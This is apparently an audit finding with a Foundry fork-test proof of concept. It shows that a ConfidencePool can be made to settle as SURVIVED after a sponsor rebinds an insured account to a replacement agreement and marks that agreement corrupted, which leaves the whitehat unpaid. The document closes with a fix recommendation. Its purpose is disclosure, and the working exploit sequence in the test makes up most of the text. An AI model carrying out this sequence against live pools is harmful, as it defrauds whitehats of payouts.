Full chain on the live BattleChain testnet (real deployed registry + agreement factory + an active fixture agreement at block 16,000; only the in-scope pool and a plain mock stake token are deployed locally). Save as test/fork/ScopeRebindingSurvivedMisclassification.fork.t.sol and run with BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com forge test --match-contract ScopeRebindingSurvivedMisclassificationForkTest -vv.
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAgreementFactory} from "@battlechain/interface/IAgreementFactory.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {
AgreementDetails,
Account as AgreementAccount,
Chain as AgreementChain,
ChildContractScope
} from "@battlechain/types/AgreementTypes.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
interface IChainAccountsView {
function getChainAccounts(string calldata caip2ChainId) external view returns (AgreementAccount[] memory);
}
contract ScopeRebindingSurvivedMisclassificationForkTest is Test {
address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant AGREEMENT_FACTORY = 0x2Bee2970f10FDc2aeA28662BB6F6A501278Ebd46;
address internal constant REGISTRY_MODERATOR = 0x1bC64E6F187a47D136106784f4E9182801535BD3;
address internal constant OLD_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant SPONSOR = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
address internal constant INSURED_ACCOUNT = 0xeEFCFBeFCE9a8fbB20694483DA9E6fBbcD5084A7;
uint256 internal constant PIN_BLOCK = 16_000;
string internal constant CAIP2 = "eip155:627";
address internal companion = makeAddr("rebind-companion");
address internal honestStaker = makeAddr("rebind-honest-staker");
address internal bonusContributor = makeAddr("rebind-bonus-contributor");
address internal poolModerator = makeAddr("rebind-pool-moderator");
address internal whitehat = makeAddr("rebind-whitehat");
address internal recovery = makeAddr("rebind-recovery");
IAttackRegistry internal attackRegistry = IAttackRegistry(ATTACK_REGISTRY);
IAgreement internal oldAgreement = IAgreement(OLD_AGREEMENT);
MockERC20 internal token;
ConfidencePool internal pool;
uint256 internal expiry;
function setUp() external {
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
assertEq(oldAgreement.owner(), SPONSOR, "fixture owner changed");
assertEq(attackRegistry.getAttackModerator(OLD_AGREEMENT), SPONSOR, "fixture moderator changed");
assertEq(
uint256(attackRegistry.getAgreementState(OLD_AGREEMENT)),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK),
"fixture no longer active"
);
ConfidencePool impl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ConfidencePoolFactory factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(impl), poolModerator))
)
)
);
token = new MockERC20();
factory.setStakeTokenAllowed(address(token), true);
address[] memory scope = new address[](1);
scope[0] = INSURED_ACCOUNT;
expiry = oldAgreement.getCantChangeUntil() + 30 days;
vm.prank(SPONSOR);
pool = ConfidencePool(factory.createPool(OLD_AGREEMENT, address(token), expiry, 1, recovery, scope));
_stake(SPONSOR, 100e18);
_stake(honestStaker, 50e18);
_contributeBonus(50e18);
}
function testRealCorruptionOfRebounddAccountSettlesAsSurvived() external {
AgreementAccount[] memory companionAccount = new AgreementAccount[](1);
companionAccount[0] =
AgreementAccount({accountAddress: vm.toString(companion), childContractScope: ChildContractScope.None});
vm.prank(SPONSOR);
oldAgreement.addAccounts(CAIP2, companionAccount);
AgreementAccount[] memory stored = IChainAccountsView(OLD_AGREEMENT).getChainAccounts(CAIP2);
string memory insuredStr;
for (uint256 i; i < stored.length; ++i) {
if (keccak256(bytes(stored[i].accountAddress)) == keccak256(bytes(vm.toString(INSURED_ACCOUNT)))) {
insuredStr = stored[i].accountAddress;
break;
}
}
assertTrue(bytes(insuredStr).length != 0, "insured account not found");
vm.warp(oldAgreement.getCantChangeUntil());
string[] memory remove = new string[](1);
remove[0] = insuredStr;
vm.prank(SPONSOR);
oldAgreement.removeAccounts(CAIP2, remove);
assertTrue(pool.scopeLocked(), "pool scope stays locked");
assertTrue(pool.isAccountInScope(INSURED_ACCOUNT), "pool still insures the account");
assertFalse(oldAgreement.isContractInScope(INSURED_ACCOUNT), "Old dropped the account");
assertEq(attackRegistry.getAgreementForContract(INSURED_ACCOUNT), address(0), "binding cleared");
address newAgreement = _createReplacementAgreement(insuredStr);
vm.prank(SPONSOR);
IAgreement(newAgreement).extendCommitmentWindow(block.timestamp + 7 days);
vm.prank(SPONSOR);
attackRegistry.requestUnderAttack(newAgreement);
vm.prank(REGISTRY_MODERATOR);
attackRegistry.approveAttack(newAgreement);
vm.prank(SPONSOR);
attackRegistry.promote(OLD_AGREEMENT);
uint256 oldProductionAt = block.timestamp + 3 days;
vm.warp(oldProductionAt - 1);
vm.prank(SPONSOR);
attackRegistry.markCorrupted(newAgreement);
assertEq(attackRegistry.getAgreementForContract(INSURED_ACCOUNT), newAgreement);
assertEq(uint256(attackRegistry.getAgreementState(newAgreement)), uint256(IAttackRegistry.ContractState.CORRUPTED));
assertEq(
uint256(attackRegistry.getAgreementState(OLD_AGREEMENT)),
uint256(IAttackRegistry.ContractState.PROMOTION_REQUESTED)
);
vm.prank(poolModerator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
vm.warp(oldProductionAt);
assertEq(uint256(attackRegistry.getAgreementState(OLD_AGREEMENT)), uint256(IAttackRegistry.ContractState.PRODUCTION));
vm.prank(REGISTRY_MODERATOR);
vm.expectRevert();
attackRegistry.instantCorrupt(OLD_AGREEMENT);
vm.warp(expiry);
vm.prank(SPONSOR);
pool.claimExpired();
vm.prank(honestStaker);
pool.claimSurvived();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED));
assertEq(token.balanceOf(SPONSOR), 133_333333333333333333, "sponsor recovers stake+bonus");
assertEq(token.balanceOf(honestStaker), 66_666666666666666666, "staker recovers stake+bonus");
assertEq(token.balanceOf(whitehat), 0, "whitehat gets nothing");
vm.prank(poolModerator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
}
function _createReplacementAgreement(string memory insuredStr) internal returns (address agreement) {
AgreementDetails memory details = oldAgreement.getDetails();
details.protocolName = "scope-rebinding-replacement";
details.agreementURI = "ipfs://scope-rebinding-replacement";
details.chains = new AgreementChain[](1);
details.chains[0].caip2ChainId = CAIP2;
details.chains[0].assetRecoveryAddress = vm.toString(recovery);
details.chains[0].accounts = new AgreementAccount[](1);
details.chains[0].accounts[0] =
AgreementAccount({accountAddress: insuredStr, childContractScope: ChildContractScope.None});
vm.prank(SPONSOR);
agreement = IAgreementFactory(AGREEMENT_FACTORY).create(details, SPONSOR, keccak256("scope-rebinding-replacement"));
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(uint256 amount) internal {
token.mint(bonusContributor, amount);
vm.startPrank(bonusContributor);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
}
Authorize the outcome from the current registry bindings of the locked scope accounts, not only from the init-time agreement; likewise claimExpired() must not auto-finalize SURVIVED while any scope-bound agreement reads CORRUPTED.